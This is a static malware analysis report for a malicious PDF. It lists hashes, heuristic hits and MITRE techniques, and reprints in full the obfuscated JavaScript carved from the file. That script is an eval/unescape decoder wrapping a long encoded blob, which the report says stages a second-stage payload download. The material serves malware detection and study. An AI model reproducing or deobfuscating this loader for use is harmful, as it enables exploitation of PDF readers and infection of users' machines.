Malicious PDF — malware analysis report

Static analysis result for SHA-256 d3306a6224d3bacb…

MALICIOUS

PDF

26.2 KB Created: 2009-05-01 21:21:45 Authoring application: tvEeSFCPx (via NeTSnrx) First seen: 2012-06-30
MD5: 45261c95f952fc693fa3c9b698bf5619 SHA-1: 369296172658605479de928bec59297e4021d905 SHA-256: d3306a6224d3bacb8916e96c0ed54fba46991edb1c975f89265ee1563dd27cd3
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript with multiple obfuscation techniques, including eval() calls and string concatenation. The script appears to be designed to download and execute a second-stage payload. The high-confidence heuristic firing for 'PDF_EVAL' and the presence of JavaScript streams strongly indicate malicious intent. The reconstructed string 'eval(df /[A-Z]/g,function (c){return String.fromCharCode( ( (c = c.charCodeAt(0)) & 223 ) + 52 ) % 26 + (c & 32) + 65; }#%76%61%72%20%70%64%20%3D%20%22%22%3B%0D%0A%66%6F%72%20%28%76%61%72%20%69%3D%30%3B%20%69%3C%62%64%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%7B%20%70%64%20%2B%3D%20%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%62%64%5B%69%5D%29%3B%20%7D%0D%0A%0D%0A%0D%0A%65%76%61%6C%28%70%64%29%3B' indicates the script attempts to deobfuscate and execute further code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    df=eval;re=eval(df);mo=unescape;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x24E 10346 bytes
SHA-256: 82915e7dc29a0f46fa7ca7261db5370130c952aa56a3335ca77a9bcf2db2f4df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
df=eval;re=eval(df);mo=unescape;
var bd = "13 2 2 7 0� 6 5 1 02 3 1 6� 5 2 4� 1@ 5 2 4� 1D2 8 1 0A 3  2 9 4 5 8 12@ 5 2 4� 1F 8 1 0 3 6 42B2P2`2 8 1 0A 3  2 5 2 4� 12Ca2 5 2 4� 1Y  2 5  2 5 2 4� 12a2 5 2 4� 1F 5 7� 5 6 4 5 0 3@HD2 8 1 02G2PAY  2 4 1 6 7 4 02 5 2 4� 1Y   5   2 7 0� 6 5 1 02 3 8 0@ 0 7 9D2� 1 0 6 1 0 6A 3  2 8� 42 22a244Y  2 2 1 42@ 8� 42 52a2HY2 52`2 0 7 9Y2 52CC2A 3  2 22Ca2� 1 0 6 1 0 6F 6 1� 6 4 5 0 3@AY  2 5  2 4 1 6 7 4 02 2Y   5  2 8� 42 8 1 4 5 5 1 02a2� 2 2F 8 5 1 9 1 4� 1 4 5 5 1 0F 6 1� 6 4 5 0 3@AY  2 8� 42 2� 1 8 1� 02a2 7 0 1 5�� 2 1@47 7HeHe7 7HeHe7 7HeHe4C47 7iIhW7 7QRhW7 7SVPR7 7SVSV7 7QQSV7 7fQhf7 7HQIg7 7QIgQ7 7TTgW7 7iWVI7 7peTS7 7QHVH7 7RHPI7 7peiP7 7IUgW7 7PIPP7 7RWPI7 7HIPI7 7PIPI7 7PIRf7 7pIhi7 7PIWV7 7PIQI7 7eePI7 7gehW7 7UpPR7 7VShP7 7pIhi7 7hUgW7 7hihi7 7gWhi7 7PPIg7 7PIPI7 7hWee7 7IWgW7 7PIPI7 7gWPI7 7PHTg7 7PIPI7 7TUgW7 7PIPI7 7gWPI7 7PPpe7 7PIPI7 7hWee7 7HQgW7 7PIPI7 7gWPI7 7PHTS7 7PIPI7 7IIgW7 7PIPI7 7gWPI7 7PPeV7 7PIPI7 7hWee7 7PhgW7 7PIPI7 7gWPI7 7PHRH7 7PIPI7 7QfgW7 7PIPI7 7gePI7 7UPUW7 7phee7 7RfUP7 7RWTI7 7QIPI7 7PIPI7 7gWUT7 7PQWH7 7PIPI7 7gRgW7 7PIPI7 7UWPI7 7UPiP7 7phee7 7RfUP7 7RWHI7 7QIPI7 7PIPI7 7gWUT7 7PQfV7 7PIPI7 7iggW7 7PIPI7 7UWPI7 7UTiP7 7IhgW7 7PIPS7 7eePI7 7IPhW7 7TViV7 7iIIP7 7iPWI7 7hQhh7 7egVp7 7hiTT7 7iPUi7 7IpUe7 7PTiU7 7IpWW7 7UieV7 7RUPH7 7iTIp7 7PRTT7 7gIhi7 7gViP7 7PSfR7 7PIPI7 7eHUe7 7QSgh7 7PIPH7 7eePI7 7IppS7 7PQiT7 7RgRP7 7HIRS7 7iTIp7 7PSTQ7 7RPHi7 7HQHI7 7iQeP7 7IPPW7 7UIiI7 7RWUI7 7PHPS7 7PIPI7 7UPUQ7 7gWUI7 7PPiH7 7PIPI7 7pIhi7 7hhee7 7iTee7 7iIeP7 7IpPW7 7QWef7 7peeS7 7PPSS7 7geTI7 7IphU7 7PIiU7 7IPHQ7 7IppQ7 7UIeW7 7ePPH7 7USgh7 7iIIP7 7peIP7 7ihee7 7hWeP7 7SgUS7 7IpPV7 7QheV7 7ePPH7 7PSiI7 7hQge7 7ihee7 7pVee7 7iPeP7 7IPQI7 7IpiI7 7TPiT7 7PHHh7 7PIPI7 7UHPI7 7UIUP7 7UIUI7 7UIUI7 7UTUI7 7gWUI7 7PPIV7 7PIPI7 7QVgW7 7PIPI7 7RSPI7 7PSVH7 7PIPI7 7egPI7 7RIVI7 7hihi7 7gWhi7 7PPIT7 7PIPI7 7peIP7 7UPUP7 7UPUP7 7pIhi7 7IWeI7 7eIgW7 7gVIW7 7PiSR7 7SWeH7 7fIPR7 7fIfI7 7SSfI7 7URPU7 7ghee7 7TIeg7 7hiPR7 7gWgI7 7hiHp7 7hihi7 7gWiP7 7hiHW7 7hihi7 7QHWW7 7PSPH7 7iQeI7 7PIPh7 7QegW7 7hihi7 7IPhi7 7UIiI7 7gWUS7 7PIUS7 7PIPI7 7gWUI7 7PQee7 7PIPI7 7pIhi7 7eIIU7 7HSIh7 7STPI7 7gWPf7 7PQTH7 7PIPI7 7hiIP7 7hiUT7 7gWpI7 7PHhe7 7PIPI7 7hiRW7 7PIPI7 7hiPI7 7gWpI7 7hpgW7 7hihi7 7UTUP7 7IPUU7 7UIiI7 7gWUS7 7PIQp7 7PIPI7 7gWUI7 7PQUR7 7PIPI7 7pIhi7 7eIIU7 7HSIh7 7STPI7 7gWPf7 7PQPe7 7PIPI7 7hiIP7 7hiUT7 7UWpI7 7UiUp7 7iPUe7 7PQge7 7iPUW7 7hVgW7 7hihi7 7UUhi7 7ePUT7 7PWgh7 7hhee7 7PWRf7 7IpUT7 7SThi7 7gWQS7 7PQUg7 7PIPI7 7pIhi7 7hhee7 7RHRW7 7RRRg7 7RWPI7 7TRTV7 7SQTU7 7hSee7 7PWWV7 7PIPI7 7hPPI7 7SRVU7 7RfHi7 7IpPI7 7SShi7 7HIHS7 7HSgW7 7PIPQ7 7hiPI7 7eepI7 7gWhW7 7PHie7 7PIPI7 7pIhi7 7hWIe7 7PWSS7 7eeIU7 7HSTS7 7IpHI7 7PIhi7 7hiIp7 7HSSS7 7gWQh7 7PHgi7 7PIPI7 7pIhi7 7iSeP7 7UiQI7 7WWUp7 7PIPH7 7PIPI7 7RWiP7 7RpRi7 7PIPI7 7SRRW7 7RhSQ7 7geRg7 7egQR7 7HSTS7 7UIPS7 7HQgW7 7hihp7 7UIhi7 7TfgW7 7PIPQ7 7gVPI7 7hpgQ7 7hihi7 7gUgW7 7hihi7 7ePhi7 7PWiS7 7RfiP7 7RWRh7 7SSRp7 7RhRS7 7QRge7 7TSeg7 7PSHS7 7gWUI7 7hghe7 7hihi7 7gWUI7 7PQHP7 7PIPI7 7WegV7 7hihp7 7gWhi7 7higU7 7hihi7 7iSeP7 7iPPW7 7IPRW7 7PIIQ7 7RWPI7 7SPSR7 7SQRR7 7QRge7 7TSeg7 7PSHS7 7gWUI7 7hgpH7 7hihi7 7gWUI7 7PHhV7 7PIPI7 7fHgV7 7hihp7 7gWhi7 7higU7 7hihi7 7iSeP7 7iPPW7 7RPRW7 7STSU7 7RWPI7 7RWSP7 7RiRS7 7QRge7 7TSeg7 7PSHS7 7gWUI7 7hgVT7 7hihi7 7gWUI7 7PHii7 7PIPI7 7RTgV7 7hihp7 7gWhi7 7higU7 7hihi7 7iSeP7 7iPPW7 7SURW7 7SWRT7 7gePI7 7egQR7 7HSTS7 7UIPS7 7eQgW7 7hihg7 7UIhi7 7VfgW7 7PIPH7 7gVPI7 7hpTQ7 7hihi7 7gUgW7 7hihi7 7ePhi7 7PSiS7 7gWiP7 7PHVe7 7PIPI7 7QeRW7 7TUiU7 7UISV7 7iUgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PHfT7 7PIPI7 7ghRW7 7PPfT7 7UIPh7 7WQgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PHeP7 7PIPI7 7VfRW7 7Pghh7 7UISh7 7fpgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PHRi7 7PIPI7 7ggRW7 7giUU7 7UIIU7 7efgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PHUe7 7PIPI7 7hIRW7 7PSef7 7UIUi7 7SUgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7hphT7 7hihi7 7SWRW7 7peRW7 7UIQh7 7RQgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PHIP7 7PIPI7 7giRW7 7gIip7 7UIRI7 7TpgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PHQi7 7PIPI7 7WIRW7 7HgTV7 7UIpe7 7IfgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7hiIU7 7hihi7 7VeRW7 7feUp7 7UIQp7 7HUgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7hpVT7 7hihi7 7UVRW7 7eHfT7 7UIPQ7 7QQgW7 7PIPH7 7ePPI7 7PWiS7 7gWiP7 7PIgP7 7PIPI7 7SpRW7 7gQpW7 7UISP7 7hpgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7PIii7 7PIPI7 7fpRW7 7WehV7 7UIIR7 7gfgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7hpfQ7 7hihi7 7UTRW7 7WRVI7 7UIWe7 7pUgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7hpSp7 7hihi7 7QfRW7 7QpSf7 7UIPQ7 7iQgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7hpRf7 7hihi7 7gIRW7 7IIUe7 7UIfS7 7VpgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7hpUU7 7hihi7 7fTRW7 7gQiV7 7UIVP7 7ffgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7hpTQ7 7hihi7 7RWRW7 7iRHS7 7UIWP7 7eUgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7PIUT7 7PIPI7 7SQRW7 7WPhp7 7UIQU7 7SQgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7hpTS7 7hihi7 7QPge7 7RRRf7 7gWUI7 7hehT7 7hihi7 7gWUI7 7hpVe7 7hihi7 7WTgV7 7hihh7 7gWhi7 7higW7 7hihi7 7gWiP7 7hgVV7 7hihi7 7TiRW7 7Tigi7 7UIPR7 7IpgW7 7PIPI7 7ePPI7 7PWiS7 7gWiP7 7PIPi7 7PIPI7 7epRW7 7PpTp7 7UIgh7 7HfgW7 7PIPI7 7ePPI7 7PWiS7 7IPiP7 7RSiI7 7TIee7 7eRII7 7SWiI7 7IpQI7 7TIee7 7IpPh7 7SIee7 7VgQh7 7eeIp7 7PWTI7 7geiP7 7IpPe7 7TIee7 7ePIS7 7ShiI7 7eeIp7 7IhTI7 7RIiP7 7eeIU7 7HSRh7 7IUHS7 7TRee7 7IUIh7 7USee7 7SWPR7 7pRPP7 7eeIp7 7QWTf7 7eeIp7 7HIUf7 7pgPP7 7IegP7 7IpTV7 7ISee7 7PPee7 7IPhR7 7IPhi7 7hhiI7 7eSVh7 7SSiI7 7iHPT7 7Pgii7 7hWPP7 7hSge7 7IeIU7 7HSSh7 7SRHW7 7Ippi7 7Ufee7 7PPHS7 7RUpg7 7eeIp7 7TePh7 7eeIp7 7QhUf7 7pgPP7 7eeIp7 7eePS7 7iRPP7 7eVIU7 7HSTS7 7RHQh7 7gWiP7 7heRU7 7hihi7 7SSRW7 7SISS7 7HiIf7 7SPHi7 7RHRp7 7RRRe7 7RhHg7 7HpSI7 7RHRp7 7RiSQ7 7HpRS7 7SRSQ7 7RhHi7 7RHRi7 7RRRS7 7HpSQ7 7SWRR7 7PIRR7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7PIPI7 7HHPI4AY   5 22@ 8 1 4 5 5 1 02`2VA 3  2 8� 42 2� 1 8 1� 0Y  2 8� 42 9 1 9�� 4 4� 12a2 0 1 92e 4 4� 1@AY  2 8� 42��2a2H 0H�H�H�H�Y  2 8� 42� 0 0 42a2H 0RHHHHHY  2 8� 42 5�� 8 1 02a2 2� 1 8 1� 0F 8 1 0 3 6 42B2PY  2 8� 42 8 1 02a2� 0 0 42E2@ 5�� 8 1 02C2H 0QVAY  2 8� 42 5 2 4� 12a2 7 0 1 5�� 2 1@47 7WHWH7 7WHWH4AY  2 5 2 4� 12a2 3 1 6� 5 2 4� 1@ 5 2 4� 1D2 8 1 0AY  2 8� 42� 1 7 0 6P2a2@��2E2H 0RHHHHHA2G2� 0 0 4Y  2 2 1 42@ 8� 42� 1 7 0 62a2HY2� 1 7 0 62`2� 1 7 0 6PY2� 1 7 0 62CC2A 3  2 9 1 9�� 4 4� 1�� 1 7 0 6�2a2 5 2 4� 12C2 2� 1 8 1� 0Y  2 5  2 8� 42 1 8 1 4 2 8 1 92a2 7 0 1 5�� 2 1@47 7H�H�7 7H�H�4AY  2 9 4 5 8 12@ 1 8 1 4 2 8 1 9F 8 1 0 3 6 42`2RRWSPA 1 8 1 4 2 8 1 92Ca2 1 8 1 4 2 8 1 9Y  2 6 4 5 52F� 1 8 8��� 6 1 4 12a2g 1 8 8��F� 1 8 8 1� 6i 9� 5 8s 0 2 1@ 3  2 5 7� 62X244D2 9 5 32X2 1 8 1 4 2 8 1 9  2 5  2AY   5   5 22@ 8 1 4 5 5 1 02b2V2882 8 1 4 5 5 1 02`2WA 3  2 8� 42 2� 1 8 1� 0Y  2 0 1 22a244Y  2 2 1 42@ 5g 0 62a2IPVY2 5g 0 62ba2H2YEE2 5g 0 6A 0 1 22Ca2 7 0 1 5�� 2 1@47 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH4AY  2 4 1� 2� 8 1� 72a2 0 1 22C2 2� 1 8 1� 0Y  2� 5 3� 8 1� 72a2 7 0 1 5�� 2 1@47 7WHWH7 7WHWH4AY  2 4 1� 0 1 4 5 5 2 12a2PHY  2 5 2 4� 12a2 4 1� 0 1 4 5 5 2 12C2 4 1� 2� 8 1� 7F 8 1 0 3 6 4Y  2 9 4 5 8 12@� 5 3� 8 1� 7F 8 1 0 3 6 42`2 5 2 4� 1A2� 5 3� 8 1� 72Ca2� 5 3� 8 1� 7Y  2 2 5 8 8� 8 1� 72a2� 5 3� 8 1� 7F 5 7� 5 6 4 5 0 3@HD2 5 2 4� 1AY  2� 8 1� 72a2� 5 3� 8 1� 7F 5 7� 5 6 4 5 0 3@HD2� 5 3� 8 1� 7F 8 1 0 3 6 42E2 5 2 4� 1AY  2 9 4 5 8 12@� 8 1� 7F 8 1 0 3 6 42C2 5 2 4� 12`2H 0RHHHHA2� 8 1� 72a2� 8 1� 72C2� 8 1� 72C2 2 5 8 8� 8 1� 7Y  2 9 1 92a2 0 1 92e 4 4� 1@AY  2 2 1 42@ 52a2HY2 52`2IRHHY2 52CC2A 9 1 9� 5�2a2� 8 1� 72C2 4 1� 2� 8 1� 7Y  2 8� 42 0 7 9aIPWWWWWWWWWWWWWWWWWWVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVY  2 7 6 5 8F 2 4 5 0 6 2@47RSHHH 24D2 0 7 9AY   5   5 22@ 8 1 4 5 5 1 02`2WFIA  2 3  2 8� 42 2� 1 8 1� 0Y  2 3� 4�� 3 12a2 7 0 1 5�� 2 1@47 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH7 7WHWH4A2C2 2� 1 8 1� 0Y  2 0 1 2� 8 1� 72a2 7 0 1 5�� 2 1@47 7WHWH7 7WHWH4AY  2 4 1� 0 1 4 5 5 2 12a2IHY  2�� 82a2 4 1� 0 1 4 5 5 2 12C2 3� 4�� 3 1F 8 1 0 3 6 4Y  2 9 4 5 8 12@ 0 1 2� 8 1� 7F 8 1 0 3 6 42`2�� 8A 0 1 2� 8 1� 72Ca2 0 1 2� 8 1� 7Y  2 2 5 8 8� 8 1� 72a2 0 1 2� 8 1� 7F 5 7� 5 6 4 5 0 3@HD2�� 8AY  2� 8 1� 72a2 0 1 2� 8 1� 7F 5 7� 5 6 4 5 0 3@HD2 0 1 2� 8 1� 7F 8 1 0 3 6 42E2�� 8AY  2 9 4 5 8 12@� 8 1� 7F 8 1 0 3 6 42C2�� 82`2H 0RHHHHA� 8 1� 72a2� 8 1� 72C2� 8 1� 72C2 2 5 8 8� 8 1� 7Y  2 9 1 9 1 4 12a2 0 1 92e 4 4� 1@AY  2 2 1 42@ 52a2HY2 52`2IVHY2 52CC2A 9 1 9 1 4 1� 5�2a2� 8 1� 72C2 3� 4�� 3 1Y  2 8� 42� 7 2 2 1 4 5 5 2 12a2RHIPY  2 8� 42� 7 2 2 1 42a2e 4 4� 1@� 7 2 2 1 4 5 5 2 1AY  2 2 1 42@ 52a2HY2 52`2� 7 2 2 1 4 5 5 2 1Y2 52CC2A  2 3  2� 7 2 2 1 4� 5�2a2 7 0 1 5�� 2 1@47H�7H�7H�7H�4AY  2 5  2g 1 8 8��F 3 1 6s� 1 0@� 7 2 2 1 42C24�xF� 7 0 0 8 14AY  2 5  2".replace(/[a-z]/g,function (c){re(mo(""+"%2E%"+"72%65%70%6C%61%63%65%28%"+"2F%5B%41%2D%5A%5D"+"%2F%67%2C%66%75%"+"6E%63%74%69%6F"+"%6E%20%28%63%29%7B%7"+"2%65%74%75%72%6"+"E%20%53%74%72%69%6E%67"+"%2E%66%72%6F%6D%4"+"3%68%61%72%43"+"%6F%64%65%28%2"+"8%28%28%63%2"+"0%3D%20%63%2E%63%68%61%72"+"%43%6F%64%65"+"%41%74%28%30%29"+"%29%20%26%20%32%32%33%29%20%2D%20%35"+"%32%29%20%2"+"5%20%32%36%20"+"%2B%20%28%63%"+"20%26%20%33%"+"32%29%20"+"%2B%20%36%35"+"%29%3B"));}).split("#");re(mo("%76%61"+"%72%"+"20%70%6"+"4%20%3D%20%2"+"2%22%3B%0D"+"%0A%66%6F%72%"+"20%28%76%61%72%20%69%3D%30%3B%20%69"+"%3C%62%64%2E%6C%65%"+"6E%67%74%68%3B%"+"20%69%2B%2B%29%7B"+"%20%70%64%20%2B%3D"+"%20%53%74%72%69%6E"+"%67%2E%66%72%6F"+"%6D%43%68%61%72%43%"+"6F%64%65%28%"+"62%64%5B%69%5D%"+"29%3B%20%7D%0"+"D%0A%0D%0A%0D%0A%65%76%61%6C"+"%28%70%64%2"+"9%3B"));

Open this report in the interactive analyzer, or submit your own file for analysis.